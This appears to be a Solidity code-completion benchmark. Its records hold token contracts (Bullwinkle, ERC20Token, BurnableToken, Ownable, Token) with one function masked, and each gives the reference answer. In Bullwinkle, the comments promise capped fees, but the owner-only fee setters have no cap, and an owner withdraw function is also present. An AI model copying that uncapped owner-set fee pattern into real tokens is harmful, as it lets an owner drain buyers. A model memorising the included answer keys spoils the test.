_amount.mul(_MarketingFee).div(10**2); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if (_rewardFee == 0 && _MarketingFee == 0 && _liquidityFee == 0 ) return; _previousRewardFee = _rewardFee; _previousMarketingFee = _MarketingFee; _previousLiquidityFee = _liquidityFee; _liquidityFee = 0; _rewardFee = 0; _MarketingFee = 0; } function restoreAllFee() private { _rewardFee = _previousRewardFee; _MarketingFee = _previousMarketingFee; _liquidityFee = _previousLiquidityFee; } // Set the correct fees for buying or selling function setCorrectFees(bool isSell) private { if (isSell){ // Set the fees to selling _liquidityFee = liquidityFeeSell; _rewardFee = rewardFeeSell; _MarketingFee = MarketingFeeSell ; } else { // Set the fees to buying _liquidityFee = liquidityFeeBuy; _rewardFee = rewardFeeBuy; _MarketingFee = MarketingFeeBuy; } } function _approve( address owner, address spender, uint256 amount ) private {<FILL_FUNCTION_BODY> } // Main transfer function where we do our checks function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); // Check if we are buying or selling bool isSell=to==uniswapV2Pair|| to == ROUTER_ADDRESS; // Check if trading is enabled if (from != owner() && to != owner()) { require(tradingEnabled,"trading not yet enabled"); } // Check max wallet if (from != owner() && to != owner()) { if (to != uniswapV2Pair && to != Marketing_ADDRESS) { require(balanceOf(to) + amount <= _maxWalletSize, "Transfer amount exceeds the bag size."); } } // Set the buy or sell fees setCorrectFees(isSell); // Check if we need to use fees bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } /** * All the transfer functions */ function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); if (_isExcludedFromReward[sender] && !_isExcludedFromReward[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcludedFromReward[sender] && _isExcludedFromReward[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcludedFromReward[sender] && !_isExcludedFromReward[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcludedFromReward[sender] && _isExcludedFromReward[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if (!takeFee) restoreAllFee(); } function _transferMarketing(uint256 tMarketing) private { uint256 currentRate = _getRate(); uint256 rMarketing = tMarketing.mul(currentRate); _rOwned[Marketing_ADDRESS] = _rOwned[Marketing_ADDRESS].add(rMarketing); if (_isExcludedFromReward[Marketing_ADDRESS]) _tOwned[Marketing_ADDRESS] = _tOwned[Marketing_ADDRESS].add(tMarketing); } function _transferFromExcluded( address sender, address recipient, uint256 tAmount ) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rHODLrFee, uint256 tTransferAmount, uint256 tHODLrFee, uint256 tMarketing, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _transferMarketing(tMarketing); _HODLrFee(rHODLrFee, tHODLrFee); emit TransferBurn(sender, Marketing_ADDRESS, tMarketing); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded( address sender, address recipient, uint256 tAmount ) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rHODLrFee, uint256 tTransferAmount, uint256 tHODLrFee, uint256 tMarketing, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _transferMarketing(tMarketing); _HODLrFee(rHODLrFee, tHODLrFee); emit TransferBurn(sender, Marketing_ADDRESS, tMarketing); emit Transfer(sender, recipient, tTransferAmount); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rHODLrFee, uint256 tTransferAmount, uint256 tHODLrFee, uint256 tMarketing, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _transferMarketing(tMarketing); _HODLrFee(rHODLrFee, tHODLrFee); _takeLiquidity(tLiquidity); emit TransferBurn(sender, Marketing_ADDRESS, tMarketing) ; emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded( address sender, address recipient, uint256 tAmount ) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rHODLrFee, uint256 tTransferAmount, uint256 tHODLrFee, uint256 tMarketing, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _transferMarketing(tMarketing); _HODLrFee(rHODLrFee, tHODLrFee); _takeLiquidity(tLiquidity); emit TransferBurn(sender, Marketing_ADDRESS, tMarketing); emit Transfer(sender, recipient, tTransferAmount); } }
contract Bullwinkle is Context, IERC20, Ownable, ReentrancyGuard { // Import our libraries using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.AddressSet; // Mapping and addressSets mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _isExcludedFromReward; EnumerableSet.AddressSet private _excludedFromSellLock; mapping (address => uint256) private _sellLock; EnumerableSet.AddressSet private _excludedFromBuyLock; mapping (address => uint256) private _buyLock; address[] private _excludedFromReward; // Addresses address Marketing_ADDRESS = 0xCE303fb3D4Ca4304De67E5753f130D905550d4A0; address private constant ROUTER_ADDRESS = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // Token name string private _name = "Bullwinkle"; string private _symbol = "BWK"; // Decimals uint8 private _decimals = 9; // Max supply // @note: 10**9 means a 1 with 9 zeroes. // @note: 1 * 10**9 is 1 with 9 decimals. uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1500000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); // Max Wallet in tokens uint256 public _maxWalletSize = 9000000000000000 * 10**9; // Buy tax in percentage /* Marketing fee includes development fees(2%) charity fees (2%) and marketing fees (6%) itself MarketingFeeBuy = developmentFeeBuy + charityFeeBuy + marketingFeeBuy 10 = 2 + 2 + 6 */ uint256 private MarketingFeeBuy = 10; uint256 private liquidityFeeBuy = 2; uint256 private rewardFeeBuy = 2; uint256 private totalFeeBuy = 14; // Sell tax in percentage /* Marketing fee includes development fees(2%) charity fees (2%) and marketing fees (17%) itself MarketingFeeSell = developmentFee + charityFee + marketingFeeSell 21 = 2 + 2 + 17 */ uint256 private MarketingFeeSell = 21 ; uint256 private liquidityFeeSell = 2; uint256 private rewardFeeSell = 2 ; uint256 private totalFeeSell = 25; uint256 private _tHODLrRewardsTotal; uint256 private _rewardFee; uint256 private _previousRewardFee; uint256 private _MarketingFee; uint256 private _previousMarketingFee; uint256 private _liquidityFee; uint256 private _previousLiquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; event TransferBurn(address indexed from, address indexed burnAddress, uint256 value); /* Constructor */ constructor() { _rOwned[_msgSender()] = _rTotal; // Setup Router IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(ROUTER_ADDRESS); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; // Exclude _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromReward[address(this)] = true; _isExcludedFromFee[Marketing_ADDRESS] = true; _isExcludedFromReward[Marketing_ADDRESS] = true; emit Transfer(address(0), _msgSender(), _tTotal); } bool public tradingEnabled; /** * All of our read functions */ // Get token name function name() public view returns (string memory) { return _name; } // Get token ticker function symbol() public view returns (string memory) { return _symbol; } // Get decimals function decimals() public view returns (uint8) { return _decimals; } // Get total supply function totalSupply() public view override returns (uint256) { return _tTotal; } // Get balance of address function balanceOf(address account) public view override returns (uint256) { if (_isExcludedFromReward[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } // Get allowance function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } // Get all the buy fees function getAllBuyFees() public view returns (uint256 _liquidityFeeBuy, uint256 _MarketingFeeBuy, uint256 _rewardFeeBuy){ return (liquidityFeeBuy, MarketingFeeBuy, rewardFeeBuy); } // Get all the sell fees function getAllSellFees() public view returns (uint256 _liquidityFeeSell, uint256 _MarketingFeeSell, uint256 _rewardFeeSell){ return (liquidityFeeSell, MarketingFeeSell, rewardFeeSell); } // Get HODLr rewards function totalHODLrRewards() public view returns (uint256) { return _tHODLrRewardsTotal; } // Get reflections from token function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns (uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount, , , , , , ) = _getValues(tAmount); return rAmount; } else { (, uint256 rTransferAmount, , , , , ) = _getValues(tAmount); return rTransferAmount; } } // Get tokens from reflection function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } // Get if an address is excluded from rewards function isExcludedFromReward(address account) public view returns (bool) { return _isExcludedFromReward[account]; } // Get if an address is excluded from fees function isExcludedFromFee(address account) public view returns (bool) { return _isExcludedFromFee[account]; } /** * All of our write functions */ // Withdraw from account function withdraw() external onlyOwner nonReentrant { uint256 balance = IERC20(address(this)).balanceOf(address(this)); IERC20(address(this)).transfer(msg.sender, balance); payable(msg.sender).transfer(address(this).balance); } // Transfer tokens function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } // Approve and address function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } // TransferFrom function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } // Increase allowance to spend function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } // Decrease allowance to spend function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } // Deliver function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcludedFromReward[sender], "Excluded addresses cannot call this function"); (uint256 rAmount, , , , , , ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tHODLrRewardsTotal = _tHODLrRewardsTotal.add(tAmount); } // Exclude and address from rewards function excludeFromReward(address account) public onlyOwner { require(!_isExcludedFromReward[account], "Account is already excluded"); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcludedFromReward[account] = true; _excludedFromReward.push(account); } // Include an address from rewards function includeInReward(address account) external onlyOwner { require(_isExcludedFromReward[account], "Account is already excluded"); for (uint256 i = 0; i < _excludedFromReward.length; i++) { if (_excludedFromReward[i] == account) { _excludedFromReward[i] = _excludedFromReward[_excludedFromReward.length - 1]; _tOwned[account] = 0; _isExcludedFromReward[account] = false; _excludedFromReward.pop(); break; } } } // Exclude an address from the fees function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } // Include an address in the fees function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } // Sets all the buy taxes, cant be higher than the max function setBuyFeesInPercentage(uint256 _liquidityFeeBuy, uint256 _MarketingFeeBuy, uint256 _rewardFeeBuy) external onlyOwner { liquidityFeeBuy = _liquidityFeeBuy; MarketingFeeBuy = _MarketingFeeBuy; rewardFeeBuy = _rewardFeeBuy; totalFeeBuy = _liquidityFeeBuy.add(_MarketingFeeBuy).add(_rewardFeeBuy); } // Sets all the sell taxes, needs to be lower than the max function setSellFeesInPercentage(uint256 _liquidityFeeSell, uint256 _MarketingFeeSell, uint256 _rewardFeeSell) external onlyOwner { liquidityFeeSell = _liquidityFeeSell; MarketingFeeSell = _MarketingFeeSell; rewardFeeSell = _rewardFeeSell; totalFeeSell = _liquidityFeeSell.add(_MarketingFeeSell).add(_rewardFeeSell); } // Set the max sell tx percentage // TODO: Make this work with decimals or tokens instead of percentage // Set the max buy tx percentage // TODO: Make this work with decimals or tokens instead of percentage // Set the max wallet percentage // TODO: Make this work with decimals or tokens instead of percentage function setMaxWalletPercent(uint256 maxWalletPercent) external onlyOwner { _maxWalletSize = _tTotal.mul(maxWalletPercent).div(10**2); } // Enable trading // @note: Can't disable trading after enabling function openTheGates() public onlyOwner{ tradingEnabled = true; } /** * Private functions */ receive() external payable {} function _HODLrFee(uint256 rHODLrFee, uint256 tHODLrFee) private { _rTotal = _rTotal.sub(rHODLrFee); _tHODLrRewardsTotal = _tHODLrRewardsTotal.add(tHODLrFee); } // TODO: We should find a contract using seperate taxes (liquidity/reflection and burn) for // buying and selling. function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tHODLrFee, uint256 tMarketing, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rHODLrFee) = _getRValues(tAmount, tHODLrFee, tMarketing, _getRate(), tLiquidity); return (rAmount, rTransferAmount, rHODLrFee, tTransferAmount, tHODLrFee, tMarketing, tLiquidity); } function _getTValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256 ) { uint256 tHODLrFee = calculateRewardFee(tAmount); uint256 tMarketing = calculateMarketingFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tHODLrFee).sub(tMarketing).sub(tLiquidity); return (tTransferAmount, tHODLrFee, tMarketing, tLiquidity ); } function _getRValues( uint256 tAmount, uint256 tHODLrFee, uint256 tMarketing, uint256 currentRate, uint256 tLiquidity ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rHODLrFee = tHODLrFee.mul(currentRate); uint256 rMarketing = tMarketing.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rHODLrFee).sub(rMarketing).sub(rLiquidity); return (rAmount, rTransferAmount, rHODLrFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excludedFromReward.length; i++) { if (_rOwned[_excludedFromReward[i]] > rSupply || _tOwned[_excludedFromReward[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excludedFromReward[i]]); tSupply = tSupply.sub(_tOwned[_excludedFromReward[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcludedFromFee[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateRewardFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_rewardFee).div(10**2); } function calculateMarketingFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_MarketingFee).div(10**2); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if (_rewardFee == 0 && _MarketingFee == 0 && _liquidityFee == 0 ) return; _previousRewardFee = _rewardFee; _previousMarketingFee = _MarketingFee; _previousLiquidityFee = _liquidityFee; _liquidityFee = 0; _rewardFee = 0; _MarketingFee = 0; } function restoreAllFee() private { _rewardFee = _previousRewardFee; _MarketingFee = _previousMarketingFee; _liquidityFee = _previousLiquidityFee; } // Set the correct fees for buying or selling function setCorrectFees(bool isSell) private { if (isSell){ // Set the fees to selling _liquidityFee = liquidityFeeSell; _rewardFee = rewardFeeSell; _MarketingFee = MarketingFeeSell ; } else { // Set the fees to buying _liquidityFee = liquidityFeeBuy; _rewardFee = rewardFeeBuy; _MarketingFee = MarketingFeeBuy; } } <FILL_FUNCTION> // Main transfer function where we do our checks function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); // Check if we are buying or selling bool isSell=to==uniswapV2Pair|| to == ROUTER_ADDRESS; // Check if trading is enabled if (from != owner() && to != owner()) { require(tradingEnabled,"trading not yet enabled"); } // Check max wallet if (from != owner() && to != owner()) { if (to != uniswapV2Pair && to != Marketing_ADDRESS) { require(balanceOf(to) + amount <= _maxWalletSize, "Transfer amount exceeds the bag size."); } } // Set the buy or sell fees setCorrectFees(isSell); // Check if we need to use fees bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } /** * All the transfer functions */ function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); if (_isExcludedFromReward[sender] && !_isExcludedFromReward[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcludedFromReward[sender] && _isExcludedFromReward[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcludedFromReward[sender] && !_isExcludedFromReward[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcludedFromReward[sender] && _isExcludedFromReward[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if (!takeFee) restoreAllFee(); } function _transferMarketing(uint256 tMarketing) private { uint256 currentRate = _getRate(); uint256 rMarketing = tMarketing.mul(currentRate); _rOwned[Marketing_ADDRESS] = _rOwned[Marketing_ADDRESS].add(rMarketing); if (_isExcludedFromReward[Marketing_ADDRESS]) _tOwned[Marketing_ADDRESS] = _tOwned[Marketing_ADDRESS].add(tMarketing); } function _transferFromExcluded( address sender, address recipient, uint256 tAmount ) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rHODLrFee, uint256 tTransferAmount, uint256 tHODLrFee, uint256 tMarketing, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _transferMarketing(tMarketing); _HODLrFee(rHODLrFee, tHODLrFee); emit TransferBurn(sender, Marketing_ADDRESS, tMarketing); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded( address sender, address recipient, uint256 tAmount ) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rHODLrFee, uint256 tTransferAmount, uint256 tHODLrFee, uint256 tMarketing, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _transferMarketing(tMarketing); _HODLrFee(rHODLrFee, tHODLrFee); emit TransferBurn(sender, Marketing_ADDRESS, tMarketing); emit Transfer(sender, recipient, tTransferAmount); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rHODLrFee, uint256 tTransferAmount, uint256 tHODLrFee, uint256 tMarketing, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _transferMarketing(tMarketing); _HODLrFee(rHODLrFee, tHODLrFee); _takeLiquidity(tLiquidity); emit TransferBurn(sender, Marketing_ADDRESS, tMarketing) ; emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded( address sender, address recipient, uint256 tAmount ) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rHODLrFee, uint256 tTransferAmount, uint256 tHODLrFee, uint256 tMarketing, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _transferMarketing(tMarketing); _HODLrFee(rHODLrFee, tHODLrFee); _takeLiquidity(tLiquidity); emit TransferBurn(sender, Marketing_ADDRESS, tMarketing); emit Transfer(sender, recipient, tTransferAmount); } }
require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount);
function _approve( address owner, address spender, uint256 amount ) private
function _approve( address owner, address spender, uint256 amount ) private
69901
ERC20Token
transfer
contract ERC20Token is ERC20TokenInterface, admined { //Standar definition of a ERC20Token using SafeMath for uint256; //SafeMath is used for uint256 operations mapping (address => uint256) balances; //A mapping of all balances per address mapping (address => mapping (address => uint256)) allowed; //A mapping of all allowances uint256 public totalSupply; /** * @notice Get the balance of an _owner address. * @param _owner The address to be query. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } /** * @notice transfer _value tokens to address _to * @param _to The address to transfer to. * @param _value The amount to be transferred. * @return success with boolean value true if done */ function transfer(address _to, uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> } /** * @notice Transfer _value tokens from address _from to address _to using allowance msg.sender allowance on _from * @param _from The address where tokens comes. * @param _to The address to transfer to. * @param _value The amount to be transferred. * @return success with boolean value true if done */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); //If you dont want that people destroy token require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @notice Assign allowance _value to _spender address to use the msg.sender balance * @param _spender The address to be allowed to spend. * @param _value The amount to be allowed. * @return success with boolean value true */ function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @notice Get the allowance of an specified address to use another address balance. * @param _owner The address of the owner of the tokens. * @param _spender The address of the allowed spender. * @return remaining with the allowance value */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * @notice Mint _mintedAmount tokens to _target address. * @param _target The address of the receiver of the tokens. * @param _mintedAmount amount to mint. */ function mintToken(address _target, uint256 _mintedAmount) onlyAdmin public { balances[_target] = SafeMath.add(balances[_target], _mintedAmount); totalSupply = SafeMath.add(totalSupply, _mintedAmount); Transfer(0, this, _mintedAmount); Transfer(this, _target, _mintedAmount); } /** * @notice Burn _burnedAmount tokens form _target address. * @param _target The address of the holder of the tokens. * @param _burnedAmount amount to burn. */ function burnToken(address _target, uint256 _burnedAmount) onlyAdmin public { balances[_target] = SafeMath.sub(balances[_target], _burnedAmount); totalSupply = SafeMath.sub(totalSupply, _burnedAmount); Burned(_target, _burnedAmount); } /** * @dev Log Events */ event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burned(address indexed _target, uint256 _value); }
contract ERC20Token is ERC20TokenInterface, admined { //Standar definition of a ERC20Token using SafeMath for uint256; //SafeMath is used for uint256 operations mapping (address => uint256) balances; //A mapping of all balances per address mapping (address => mapping (address => uint256)) allowed; //A mapping of all allowances uint256 public totalSupply; /** * @notice Get the balance of an _owner address. * @param _owner The address to be query. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } <FILL_FUNCTION> /** * @notice Transfer _value tokens from address _from to address _to using allowance msg.sender allowance on _from * @param _from The address where tokens comes. * @param _to The address to transfer to. * @param _value The amount to be transferred. * @return success with boolean value true if done */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); //If you dont want that people destroy token require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @notice Assign allowance _value to _spender address to use the msg.sender balance * @param _spender The address to be allowed to spend. * @param _value The amount to be allowed. * @return success with boolean value true */ function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @notice Get the allowance of an specified address to use another address balance. * @param _owner The address of the owner of the tokens. * @param _spender The address of the allowed spender. * @return remaining with the allowance value */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * @notice Mint _mintedAmount tokens to _target address. * @param _target The address of the receiver of the tokens. * @param _mintedAmount amount to mint. */ function mintToken(address _target, uint256 _mintedAmount) onlyAdmin public { balances[_target] = SafeMath.add(balances[_target], _mintedAmount); totalSupply = SafeMath.add(totalSupply, _mintedAmount); Transfer(0, this, _mintedAmount); Transfer(this, _target, _mintedAmount); } /** * @notice Burn _burnedAmount tokens form _target address. * @param _target The address of the holder of the tokens. * @param _burnedAmount amount to burn. */ function burnToken(address _target, uint256 _burnedAmount) onlyAdmin public { balances[_target] = SafeMath.sub(balances[_target], _burnedAmount); totalSupply = SafeMath.sub(totalSupply, _burnedAmount); Burned(_target, _burnedAmount); } /** * @dev Log Events */ event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burned(address indexed _target, uint256 _value); }
require(_to != address(0)); //Dont want that any body destroy token require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true;
function transfer(address _to, uint256 _value) public returns (bool success)
/** * @notice transfer _value tokens to address _to * @param _to The address to transfer to. * @param _value The amount to be transferred. * @return success with boolean value true if done */ function transfer(address _to, uint256 _value) public returns (bool success)
65796
BurnableToken
burn
contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public {<FILL_FUNCTION_BODY> } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } }
contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); <FILL_FUNCTION> function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } }
_burn(msg.sender, _value);
function burn(uint256 _value) public
/** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public
22765
Ownable
transferOwnership
contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner {<FILL_FUNCTION_BODY> } }
contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } <FILL_FUNCTION> }
require(newOwner != address(0)); owner = newOwner;
function transferOwnership(address newOwner) public onlyOwner
/** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner
52259
Token
transfer
contract Token { string public symbol = ""; string public name = ""; uint8 public constant decimals = 18; uint256 _totalSupply = 0; address owner = 0; bool setupDone = false; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; function Token(address adr) { owner = adr; } function MakeMyToken(string tokenName, string tokenSymbol, uint256 tokenSupply) { if (msg.sender == owner && setupDone == false) { symbol = tokenSymbol; name = tokenName; _totalSupply = tokenSupply * 1000000000000000000; balances[owner] = _totalSupply; setupDone = true; } } function totalSupply() constant returns (uint256 totalSupply) { return _totalSupply; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _amount) returns (bool success) {<FILL_FUNCTION_BODY> } function transferFrom( address _from, address _to, uint256 _amount ) returns (bool success) { if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[_from] -= _amount; allowed[_from][msg.sender] -= _amount; balances[_to] += _amount; Transfer(_from, _to, _amount); return true; } else { return false; } } function approve(address 